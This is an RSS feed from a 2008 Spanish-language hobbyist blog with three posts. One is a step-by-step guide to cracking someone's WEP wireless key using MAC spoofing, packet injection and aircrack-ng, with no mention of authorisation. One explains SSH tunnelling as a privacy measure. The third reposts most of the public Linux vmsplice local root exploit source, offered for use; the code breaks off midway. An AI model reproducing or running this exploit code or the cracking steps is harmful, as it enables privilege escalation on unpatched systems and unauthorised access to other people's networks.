<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>Nekro's Blog</title>
    <link>http://nekrox.com/</link>
    <description>&#x26;lt;blog&#x26;gt; nekro &#x26;lt;/blog&#x26;gt;</description>
    <copyright>Alvaro Lizama Molina (c) 2008 </copyright>
        <pubDate>Thu, 24 Apr 2008 20:10:00 -0700</pubDate>
        <generator>http://www.textmotion.org</generator>
                <item>
        <title>El nuevo driver para las bcm43xx ya soporta inyeccion de paquetes</title>
                <guid isPermaLink="true">http://nekrox.com/blog/view/26/el-nuevo-driver-para-las-bcm43xx-ya-soporta-inyeccion-de-paquetes</guid>
        <link>http://nekrox.com/blog/view/26/el-nuevo-driver-para-las-bcm43xx-ya-soporta-inyeccion-de-paquetes</link>
        <description>Pues eso mismo hoy al actualizar el debian sid se me descargo el nuevo kernel el 2.6.24 y al botear con este veo que por no carga el ndiswrapper x( me pongo a ver el por que y OMFG un nuevo driver el b43 me impide su&#x26;nbsp; funcionamiento, después de leer un poco es una nueva versión para las tarjetas bcm43xx y pues decidí probarlo y todo ok. Ya luego se me ocurre probar si puedo inyectar paquetes.&#x3C;br /&#x3E;&#x3C;br /&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;aireplay-ng&#x26;nbsp;-9&#x26;nbsp;wlan0_rename&#x3C;/span&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;Y sorpresa ya con eso veo que puedo inyectar. Y la prueba de fuego:&#x3C;br /&#x3E;&#x3C;br /&#x3E;Este paso es opcional, es para cambiar nuestra mac.&#x3C;br /&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;macchanger&#x26;nbsp;-m&#x26;nbsp;00:11:22:33:44:55&#x26;nbsp;wlan0_rename&#x3C;/span&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;Con esto nos ponemos a capturar paquetes el canal es el de la red que queremos crackear y al parametro --write le damos un nombre para que guarde el dump&#x3C;br /&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;airodump-ng&#x26;nbsp;--channel&#x26;nbsp;canal_red&#x26;nbsp;--write&#x26;nbsp;nombre_dump&#x26;nbsp;wlan0_rename&#x3C;/span&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;Con esto inyectamos paquetes.&#x3C;br /&#x3E;&#x3C;span class=&#x22;code&#x22;&#x3E;aireplay-ng&#x26;nbsp;-3&#x26;nbsp;-e&#x26;nbsp;essid_red&#x26;nbsp;-b&#x26;nbsp;mac_ap&#x26;nbsp;-h&#x26;nbsp;nuestra_mac&#x26;nbsp;wlan0_rename&#x3C;/span&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;Y al final con esto sacamos la clave &#x3C;img  src=&#x22;http://nekrox.com/media/emoticons/default/grin.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E;.&#x3C;br /&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;aircrack-ng&#x26;nbsp;nombre_dump.cap&#x3C;/span&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;Existe un parche para aumentar la velocidad con la que se envían los paquetes pero es para el kernel 2.6.24.1&#x26;nbsp; &#x3C;img  src=&#x22;http://nekrox.com/media/emoticons/default/grin.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E;&#x3C;br /&#x3E;</description>
        <author>me@nekrox.com (Alvaro Lizama Molina)</author>
                <pubDate>Thu, 24 Apr 2008 20:10:00 -0700</pubDate>
      </item>
            <item>
        <title>Tuneles SSH en menos de 1 minuto</title>
                <guid isPermaLink="true">http://nekrox.com/blog/view/25/tuneles-ssh-en-menos-de-1-minuto</guid>
        <link>http://nekrox.com/blog/view/25/tuneles-ssh-en-menos-de-1-minuto</link>
        <description>Bueno ya a vísperas del FLISOL hay que empezar a preparar la laptop &#x3C;img  src=&#x22;http://nekrox.com/media/emoticons/default/smile.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E; para llevar y no me refiero a tener todas las particiones &#x26;amp; stuff para una instalación mas bien a las medidas de seguridad mínimas para poderse conectar a una LAN donde podrían estar algunos juakersillos ejeme ejem como cierto alumno del ITM x) que no voy a mencionar. Por ejemplo una de estas medidas es usar Túneles SSH para encriptar todas las comunicaciones, que es la que vamos a explicar hoy, también están las VPN pero esas se quedaran para otro día ya que no dispongo ningún server con ip extra &#x3C;img  src=&#x22;http://nekrox.com/media/emoticons/default/unhappy.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E;.&#x3C;br /&#x3E;&#x3C;br /&#x3E;Básicamente lo que hacemos con un Tunel SSH es hacer que todos los demás protocolos relativamente inseguros como el HTTP, IRC, IMAP, POP3, SMTP, etc. que mandan la información en texto plano pasen por una conexión encriptada que en este caso la creamos con SSH para así hacerla un poco mas segura y si alguien intenta sniffear la red pues no pueda ver nada humanamente comprensible x). SSH aparte de dar acceso a shells remotas seguras, copiar archivos entre dos maquinas de una red de forma segura, tener un ftp seguro permite redirigir el trafico de los puertos, forwadear todo. Esto se logra con el siguiente comando:&#x3C;br /&#x3E;&#x3C;br /&#x3E;&#x26;nbsp;&#x3C;span class=&#x22;code&#x22;&#x3E;ssh&#x26;nbsp;-f&#x26;nbsp;-N&#x26;nbsp;-D&#x26;nbsp;31337&#x26;nbsp;-C&#x26;nbsp;user@host&#x3C;/span&#x3E;&#x3C;br /&#x3E;&#x26;nbsp;&#x3C;br /&#x3E;Los parámetros que le pasamos al ssh hacen todo el truco, con -f pasamos al ssh en background, con -N le decimos que no acepte comandos esa conexión esto es importante si solo queremos forwadear, -D es para poner el ssh a la escucha del puerto 31337 de forma local osea en nuestra maquina, -C para comprimir los datos y por ultimo el user y host de nuestro servidor SSH que es importante que tenga la versión 2 del protocolo ya que la 1 con sniffers como ethercap la pueden romper, también es importante que estemos seguros que el servidor SSH este en una red segura si no no tendría caso.&#x3C;br /&#x3E;&#x3C;br /&#x3E;Ya con esto tenemos un túnel que encripta la información que pasa por el que va desde nuestra pc hasta el servidor que especifiquemos. Para usarlo solo tenemos que decirle a nuestros programas que se conecten a nustro localhost y al puerto 31337 o al que le hallamos puesto, esto es como si usaramos SOCKS x) el firefox, el xchat, thunderbird, emesene tiene soporte para eso &#x3C;img  src=&#x22;http://nekrox.com/media/emoticons/default/smile.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E;. &#x3C;br /&#x3E;</description>
        <author>me@nekrox.com (Alvaro Lizama Molina)</author>
                <pubDate>Thu, 24 Apr 2008 00:51:00 -0700</pubDate>
      </item>
            <item>
        <title>pwn3d Linux</title>
                <guid isPermaLink="true">http://nekrox.com/blog/view/10/pwn3d-linux</guid>
        <link>http://nekrox.com/blog/view/10/pwn3d-linux</link>
        <description>&#x3C;p style=&#x22;text-align: justify&#x22;&#x3E;
  Nuevo exploit ya publico con el cual se cosigue escalar privilegios&#x26;nbsp; en cualquier maquina con linux .... este no compila en gentoo almenos en el mio no y no funciona a la primera ay que ejcutarlo varias veces por que da violacion de segmento pero si funciona en todas .... las distros al parecer.
  &#x3C;br /&#x3E;
&#x3C;/p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;c&#x22;&#x3E;&#x26;lt;pre&#x26;gt;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* jessica_biel_naked_in_my_bed.c&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;*&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* Stejnak je to stare jak cyp a aj jakesyk rozbite.&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;*&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* Linux vmsplice Local Root Exploit&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* By qaaz&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;*&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* Linux 2.6.17 - 2.6.24.1&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;*&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* This is quite old code and I had to rewrite it to even compile.&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* It should work well, but I don't remeber original intent of all&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* the code, so I'm not 100% sure about it. You've been warned ;)&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* &#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;* -static -Wno-format &#x26;nbsp;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp;*/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define _GNU_SOURCE&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;stdio.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;errno.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;stdlib.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;string.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;malloc.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;limits.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;signal.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;unistd.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;sys/uio.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;sys/mman.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;asm/page.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define __KERNEL__&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#include &#x26;lt;asm/unistd.h&#x26;gt;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define PIPE_BUFFERS&#x26;nbsp; 16&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define PG_compound&#x26;nbsp; &#x26;nbsp;14&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define uint&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; unsigned int&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define static_inline&#x26;nbsp;static inline __attribute__((always_inline))&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define STACK(x)&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; (x + sizeof(x) - 40)&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;struct&#x3C;/span&#x3E; page &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E; flags;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E; count;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E; mapcount;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E; private;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; *mapping;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E; index;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;struct&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E; next, prev; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E; lru;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E;&#x26;nbsp; exit_code&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E;&#x26;nbsp; exit_stack&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1024&#x3C;/span&#x3E; * &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1024&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E;&#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; *msg, &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E; err&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;err ? &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;-&#x26;#93; %s: %s&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E; : &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;-&#x26;#93; %s&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, msg, strerror&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;err&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; fflush&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;stdout&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; fflush&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;stderr&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; exit&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#if defined (__i386__)&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#ifndef __NR_vmsplice&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define __NR_vmsplice&#x26;nbsp;316&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#endif&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define USER_CS&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; 0x73&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define USER_SS&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; 0x7b&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define USER_FL&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; 0x246&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; static_inline&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E;&#x26;nbsp; exit_kernel&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; __asm__ __volatile__ &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl %0, 0x10(%%esp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl %1, 0x0c(%%esp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl %2, 0x08(%%esp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl %3, 0x04(%%esp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl %4, 0x00(%%esp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;iret&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
